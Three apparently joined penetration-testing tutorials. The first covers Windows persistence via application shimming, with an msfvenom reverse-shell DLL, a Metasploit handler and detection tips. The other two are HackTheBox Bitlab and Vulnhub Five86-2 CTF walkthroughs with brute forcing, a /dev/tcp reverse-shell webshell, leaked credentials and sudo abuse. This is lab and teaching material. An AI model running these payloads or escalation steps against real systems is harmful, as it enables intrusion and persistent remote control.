Windows Persistence using Application Shimming

In this article, we are going to describe the persistence of the Application Shimming and how vital it is in Windows Penetration Testing.

TL; DR

Application Shimming is a technique preinstalled on Windows OS that can be used to make the applications developed for the earlier versions of Windows OS still work on the latest version of Windows

Table of Content

·         Introduction

o   What is Application Shimming?

o   How does Application Shimming work?

·         Configurations used in Practical

·         Persistence using Application Shimming

o   Malicious DLL Creation

o   Injecting Malicious DLL

o   Installing Infected Executable

o   Gaining Persistent Shell

·         Detection

·         Mitigation

·         Conclusion

Introduction

What is Application Shimming?

Ever since the early stages of Microsoft Windows, there have been some fundamental features that have been part of the Windows basic Functionalities. One of them is their “Backward Compatibility”. What it means is that if your Software was developed earlier like at the time of Windows XP. But now we have Windows 10 and you are worried that if the Windows will able to run that piece of software as it has updated. Here, the Backward Compatibility comes into play. It gives us the ability to run the software on the Windows OS that was not developed on that particular OS.

The “Shim Infrastructure” or how they like to call it at the big house “Microsoft Windows Application Compatibility Infrastructure” helped its user get that backward compatibility. Now the thing to keep in mind is that during all those years of development, Windows kept its basic Architecture the same. They developed around the same framework that they started to work in the early nineties. This means that there are still some bits of code in the Windows 10 that has been there since the times of Windows 95.

How does Application Shimming Work?

The Shim Infrastructure applies a method of Application Programming Interface (API) hooking. Explicitly, it forces the nature of linking to redirect API calls from Windows itself to alternative code – the shim itself. The Windows Portable Executable (PE) and Common Object Format (COFF) Specification includes several headers, and the data directories in this header provide a layer of indirection between the application and the linked file. Calls to external binary files take place through the Import Address Table (IAT). Consequently, a call into Windows looks like the image shown below to the system.

We can modify the address of the Windows function fixed in the import table, and then replace it with a pointer to a function into the alternate shim code, as shown in the image given below.

This indirection happens statically linked .dll files when the application is loaded. You can also shim dynamically linked .dll files by hooking it with an API.

Configurations used in Practical

Attacker:

OS: Kali Linux 2019.4

Tools: MSFVenom, Metasploit Framework

Target:

OS: Windows 10 (Build 1909)

Tools: Windows Assessment and Deployment Kit (Windows ADK), PuTTY.exe

You can download the Tools by clicking on Their Name.

Persistence using Application Shimming

Application Shimming can perform many functions but we will be focusing on gaining a persistence shell on the Target System for now. This practical was tested in a lab-controlled environment where we have the configurations set for minimum interference. The actual real-life scenario can differ.

Malicious DLL Creation

To begin the exploitation, we decided to create a payload using the MSFVenom tool. We used the reverse_tcp payload with the target to be Windows System and gaining a shell. We defined the LHOST for the IP Address for the Attacker Machine followed by the subsequent LPORT on which we will be receiving the session from the target machine. We created this payload in the form of an Dynamic Link Library or DLL and named it inject.dll

msfvenom -p windows/shell/reverse_tcp lport=9999 lhost=192.168.1.2 -f dll > inject.dll

As discussed in the Configurations used section we need the Windows Assessment and Deployment Kit. After downloading and installing it, we have service inside it. Its called Compatibility Administrator. We are going to need it to proceed further.

Now in our Attacker Machine, we transferred the recently created DLL to the Target Machine. We use the python one-liner for it. There are lots of ways this can be done. We start a Multi/Handler on the Attacker Machine with the proper configuration to receive the session that will be generated soon.

python -SimpleHTTPServer 80

msfconsole

use multi/handler

set payload windows/shell/reverse_tcp

set lhost 192.168.1.2

set lport 9999

run

Injecting Malicious DLL

Now we will divert our attention to the Target Machine. After browsing the IP Address of the Attacker Machine and downloading the Malicious DLL file, we open the Compatibility Administrator as shown in the image given below. Here we are using the 32-bit version as it is easier to bind the DLL to it. We also created a new custom Database.

Now we begin the process of binding the safe and original Executable without malicious DLL file. We right-clicked on our newly created Database and choose the First option in the Dropdown Menu called Create New. This leads to opening a sub-drop-down menu. We choose the Application Fix option as shown in the image given below. We can also use the Shortcut by pressing the Ctrl key and P key simultaneously.

As soon as we click on that Application Fix option, we have ourselves a Config Window Titled “Create New Application Fix”. We enter the name of the Program to be fixed as “putty”. And we provide the path of the executable to the program we want to inject our malicious DLL into. In this case, we provide the path of the PuTTY.exe and hit Next.

Now we are asked the compatibility modes. This would have been important if we were fixing a genuine executable. Or using the Shimming for genuine purposes. As we are not doing any of that, we will skip this step and straight-up hit the “Next” button and move on.

Now we are at an important step. We are asked the compatibility fix that we want to apply to the executable. We choose the “InjectDll” option from the list as shown in the image given below. After checking the box we hit the “Parameters” button to provide the path of out malicious DLL that we created at the start of the exploitation.

This opens up a new small window asking the Command-Line. Here we provide the path of our malicious DLL and click OK button.

Back to out config window, we click the Next Button and now we have the Matching Information panel in front of us. We click on “Unselect All” Button as we don’t want to add any more additional configurations to out payload. At last, we hit the Finish Button.

This closes the config window. We are back to our Compatibility Administrator window. We click the Save button as shown in the image below to inject our DLL in the PuTTY executable.

We are asked to name the database, we name it puttyshim. This can be whatever you want. In real life attacking situations choose the name that is less conspicuous.

After naming the database we are asked the location, where we want to save the AppCompat Database or the .sdb file of the complete configuration.

Installing Infected Executable

Now that this is done, we will now install the now infected Executable on the Target Machine. This can be done by right-clicking on the name of the database and choosing the Install option from the drop-down button.

This initiates an installation process that will installed our infected executable as a service. We can see that in the Programs and Features section inside the Control Panel as shown in the image below. If we had added the Publisher or Vendor Information at the earlier stage it would have appeared here.

Gaining Persistent Shell

Now when we execute the service that we just shimmed and installed. As soon as we have the program executed on the target machine, we will receive a shell on our attacker machine as shown in the image below. We can add the infected service in the startup service list to receive the shell every time the Target system reboots.

This concluded the exploitation. Now let’s talk defense mechanisms.

Detection

There are many tools available that can detect the applications that have been shimmed.

·         Shim-File-Scanner: Scans Files/Folders for non-default shims and checks registry for installed shims

·         Shim-Process-Scanner: Will search all process for shim flags and also check for the Shim App Helper

Other than that the process of shimming creates a bloody trail that leads right to the smoking gun aka the shimmed application. Shimming creates a trial inside the Registry at the following locations.

·         HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom

·         HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB

Apart from the registry, we have some locations on the Drives where we can find evidence for the Application Shimming.

·         C:\Windows\AppPatch\Custom\

·         C:\Windows\AppPatch\Custom\Custom64\

We can also create custom Yara Rules and snort rules that could detect Application Shimming.

Mitigation

As always, the first line of defense against any kind of attack is keeping our infrastructure and devices updated. Microsoft released this patch for restricting the Shim Application to bypass the UAC.

Some tools like the one in the Detection section can be used for mitigating the Applications Shimming.

Shim-Guard: Detects and alert on newly installed shims

We can also implement strict UAC policies to notify when a user is getting elevated privileges.

Conclusion

This kind of attack is very much happening in real life. There have been multiple incidents targeted to different environments where the large scale compromise was done using the Applications Shimming.

Stay Tuned!

MITRE|ATT&CK

Black Hat USA

FireEye

Hack the Box Challenge: Bitlab Walkthrough

In this article, we are going to crack the Gitlab Boot to Root Challenge and present a detailed walkthrough. The machine depicted in this Walkthrough is hosted on HackTheBox Website. Credit for making this machine goes to Frey & thek. As the Machine is live, we don’t need to download it on our systems but we can take a look at the lab by clicking here.

Penetration Testing Methodology

·        Network Scanning

o   Nmap Scan

·        Enumeration

o   Directory Bruteforce using dirb

o   Browsing the HTTP Service in Browser

o   Decoding the JavaScript to extract credentials

·        Exploitation

o   Enumerating the Repositories

o   Finding the Database Query Script

o   Manipulating the script to get the credentials

o   Connecting to Machine using SSH

·        Post Exploitation

o   Reading the User Flag

o   Downloading the suspicious executable file

·        Privilege Escalation

o   Reverse Engineer the executable using the Debugger

o   Enumerating for the root credentials

o   Connecting to Target Machine using SSH with root credentials

·        Reading Root Flag

Walkthrough

Network Scanning

From the Official HackTheBox Website,

Static IP Address: 10.10.10.114

Since we have the IP Address, the next step is to scan the target machine by using the Nmap tool. This is to find the open ports and services on the target machine and will help us to proceed further.

nmap -A -p- 10.10.10.114

Here we performed an Aggressive scan coupled with the ping scan. After the scan, we saw that the port 22 and 80 are open. We have the SSH Service (22) as well as a HTTP Service (80) on the server.

This gave us a lay of land. Now let’s get to enumeration.

Enumeration

We start the Enumeration with a Directory Brute Force. We will be using the dirb tool for this attack.

We see that the dirb helped us get some of the links that could be our potential entry points. We also see that we have the robots.txt file. It had a bunch of links in it. But since we have a HTTP Service, we decided to open the IP Address in the browser.

We find that the machine is running Gitlab on it. But as shown in the image given, there are some credentials that are required to get in. Back to the robots.txt, we see that we have the a /help/ link inside it. This was unusual so we decide to give it a look.

http://10.10.10.114/help/

Here we found a page named bookmarks.html. Let’s check it out.

There are a couple of links in this bookmarks.html page. But one that drew our attention was the Git Lab login. Clicking on the link was useless. So, it occurred to us that as it a link on an HTML page, there must be a reference link behind it. We used the Inspect Element Tool of the Firefox Browser to look at that Reference link.  There is some JavaScript code involved. But we were pretty sure that the credentials are hiding inside it somewhere.     

We copied the code and looked for something that could decode these values for us.  We found this awesome Deobfuscator for JavaScript online. We pasted the script inside it and it gave us the decoded values. In those decoded values we have the Login Credentials. 

Exploitation

We went back to the login page that we found earlier. We enter the credentials that we just found and logged in the GitLab.

Username: clave

Password: 11des0081x




After the successful login, we enumerated the Projects and found 2 repositories: Profile and Deployer. We need to enumerate those repositories as well. Let’s Start with the Profile repo. 

We went inside the Profile Repo and then we saw that we have a Snippets Tab in the panel. So, we clicked on that to enumerate some snippets.

Here we have an interesting code snippet that contains a Postgresql file. We examined the file to see that it contains a code that could be useful. So, we took the note of that code.

We went back to the Profile Repository. It was kind-off empty so we went on to do some Research on how to exploit the GitLab Repository. We tinkered with it and figured out a way. To do this, first we need to create a new file in the repo as shown in the image given.

We name the file as “db.php” and paste the postgresql code that we found earlier in the Code Snippet Section and because we want to fetch the credentials form the database, we added the lines at the end to do so.

$db_connection = pg_connect(“host=localhost dbname=profiles user=profiles password=profiles”);

$result = pg_query($db_connection, “SELECT * FROM profiles”);

$data = pg_fetch_all($result);

print_r($data)

> 

After making the appropriate edits, we move all the way down to the “Commit changes” button and click on it to reflect the changes in the file.

After we have successfully saving the PHP file with the code, we need to merge the file that we just created in the current working repository. For this we need to create a Merge Request. It can be done using the “Create merge request” button on the Repository. This will result in opening of a page, we filled in the necessary details. After that we drag to the bottom of the page where we find a “Submit merge request” button as shown in the image. 

After submitting the merge request, we need to merge the commit in the root branch. For that we have a “Merge” button right below the request that we just submitted.

After clicking on that Merge button, we will now modify our URL to get to the PHP file that we just created. As shown in the image given below. Here we wrote the IP Address of the machine, followed by the name of the repository i.e., profile and lastly the name of the file that we created. Here we can see that we have the password of the user clave which was stored in the database. Cool!

http://10.10.10.114/profile/db.php

Post Exploitation

Now that we had the credentials of the user clave. So, it’s time to connect to the Target Machine via the SSH service. Establishing connection was a breeze. After connecting, we do some enumeration using the id command. We listed all the directories and found the user.txt. This is the user flag. Congratulations! The battle is half won.

ssh clave@10.10.10.114

c3NoLXN0cjBuZy1wQHNz==

id

pwd

ls

cat user.txt

When we were enumerating for the user flag, we saw an executable file named RemoteConnection.exe Let’s download the file to our system to have a better look at the executable. We used the SCP for transferring the RemoteConnection.exe to our system.

scp clave@10.10.10.114:/home/clave/RemoteConnection.exe /

c3NoLXN0cjBuZy1wQHNz==

Now, that we have the executable we tired to run the file in out Windows Machine but as shown in the image we have the classic Access Denied!! Error.

Privilege Escalation

Now we decided to Reverse Engineer the exe to get some information or to bypass the Access Denied!! In actuality we just wanted to know as this exe makes a connection to the server then it must have a set of credentials hidden in it. We are going to use a x32dbg Debugger for our Reverse Engineering operations.

After opening the Debugger as shown in the image we locate the RemoteConnection.exe file in our Windows Explorer.

We open the executable inside the debugger and take a look around various text fields. In search for some way to get through the Access Denied!! We click on the Run Button(Highlighted) to capture the response.

Here we take the instance and scan the Text Fields using the button (Highlighted) as shown in the image given below.

We see that we have the attempt for connecting to a server using the PuTTY Tools but then we got our Access Denied. This means that when it launches the PuTTY, it must have entered some set of credentials that are hiding from us. We need to find them.

We check the different breakpoints to see if we can get way in. But it was not looking too good.

So, what we did was setup multiple Breakpoints and tried to analyze the instances. And we see that we have some SSH commands. So, we selected an instance to take a better look at the instance as we see that we have the SSH Password displayed in clear text. This is probably not a secure way to handle credentials. 

Now that we have the root credentials, all that’s left to do is just SSH our way in and grab that root flag that is waiting for us. We logged in using the credentials that we found and then we quickly located the root flag!

ssh 10.10.10.114

id

ls

cat root.txt

This concludes this awesome Capture the Flag challenge. We learned lots new things and we were provided with a scenario that could very much possible in a Real Life.

Five86-2: Vulnhub Walkthrough

Today we are sharing another CTF walkthrough of the vulnhub machine named Five86-2 with the intent of gaining experience in the world of penetration testing. The credit goes to m0tl3ycr3w and syed umar for design this machine and the level is set to beginner to advanced.

According to the author: The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

Download it from here: https://www.vulnhub.com/entry/five86-2,418/

Penetration Testing Methodologies

Network scanning

• Netdiscover
• Nmap

Enumeration

• Exploring Http services
• WordPress scanning (Wpscan)

Exploit Wordpress

Privilege Escalation

• Abusing capability
• Abusing Sudo

Walkthrough

Network Scanning

As you know, this is the initial phase where we choose netdiscover for network scan for identifying host IP and this we have 192.168.0.114 as our host IP.

nmap -A 192.168.0.114

From its scanning we found port 21 is open for FTP and port 80 is open HTTP where wordpress is running on apache.

Enumeration

Thus, we navigate to a web browser and browse the following URL and found open wordpress application is running on the webserver.

http://192.168.0.114

Since we found the wordpress on the host machine thus we choose wpscan and run following commands for wordpress scanning.

 wpscan –url http://192.168.0.114 –enumerate u

From its scanning result we enumerated 5 usernames: peter, admin, barney, gillian, Stephen as shown in the image below.

We used rockyou.txt wordlist for password brute force attack to enumerate the password, so we saved above mentioned username in a text file named user.txt, and then launched brute force attack by executing the following command.

wpscan –url http://192.168.0.114  -U user.txt -P /usr/share/wordlists/rockyou.txt

From its scanning result, we found password for barney and stephen as given below.

Barney:spooky1

Stephen: apollol

To access the website properly we added the host name and host IP within /etc/hosts file.

Furthermore, using the Barney login credential we logged in to the wordpress and found a plugin "Insert or Embed Articulate Content into WordPress" was installed. We searched in the google to find out more about it and found a method on Exploit_DB to exploit this plugin to obtain reverse connection.

Exploiting WordPress         

For exploiting WordPress installed plug-in follow the step given below.

1. Create a .zip archive with two files as : index.html, index.php

echo "hello" > index.html

echo "& /dev/tcp/192.168.0.115/1234 0>&1'");" > shell.php

zip raj.zip index.html shell.php

2. login to wordpress as barney

3. Create a new Post -> Select `Add block` -> E-Learning ->

2. Choose upload option for uploading your zip file.

3. Browse and Upload the raj.zip -> Insert as: Iframe -> Insert

Start netcat listener on your local machine and access the webshell from the URL after uploading zip file as shown:

nc -lvp 1234

five86-2//wp-content/uploads/articulate_uploads/raj/shell.php

Booom!! We got the reverse connection with the help of netcat session, but we know, this is a root to boot challenge hence we need to escalate the privilege try to gain access high privilege shell. So, we start post enumeration and find capability permission is given to Stephen for tcpdump.

su stephen

apollo1

python3 -c 'import pty;pty.spawn("/bin/bash")'

getcap -r /2>/dev/null

So, we run following command which reveal the UP & running interfaces.

tcpdump -D

Privilege Escalation

As we have seen in the above image that tcpdump has the capabilities to capture all network traffic even in low-privileged access, therefore I trigger the following command to inspect “veth1665bcd” traffic if possible, and save the output in a pcap file “cap.pcap”.

timeout 150 tcpdump -w cap.pcap -i veth1665bcd

With the help of of “-r” option we try to the pcap file and luckily found credentials

Username: paul

Password: esomepasswford

So with the help of above credential we switch to paul account and check for sudo permission for him. We found paul has sudo permission to run /usr/sbin/service program as peter.

sudo -l

sudo -u peter service ../../bin/sh

With the help above command we were able to access shell as peter.

Then we check sudo right for peter and found he has ALL permission to run any program as root, but we don’t know the Peter’s password and moreover peter owns sudo right for /usr/bin/passwd as root. In order to access root, we try to abuse the sudo permission by changing root’s password and try to get final flag.

sudo passwd root

new password: raj

su root

cd root

cat flag.txt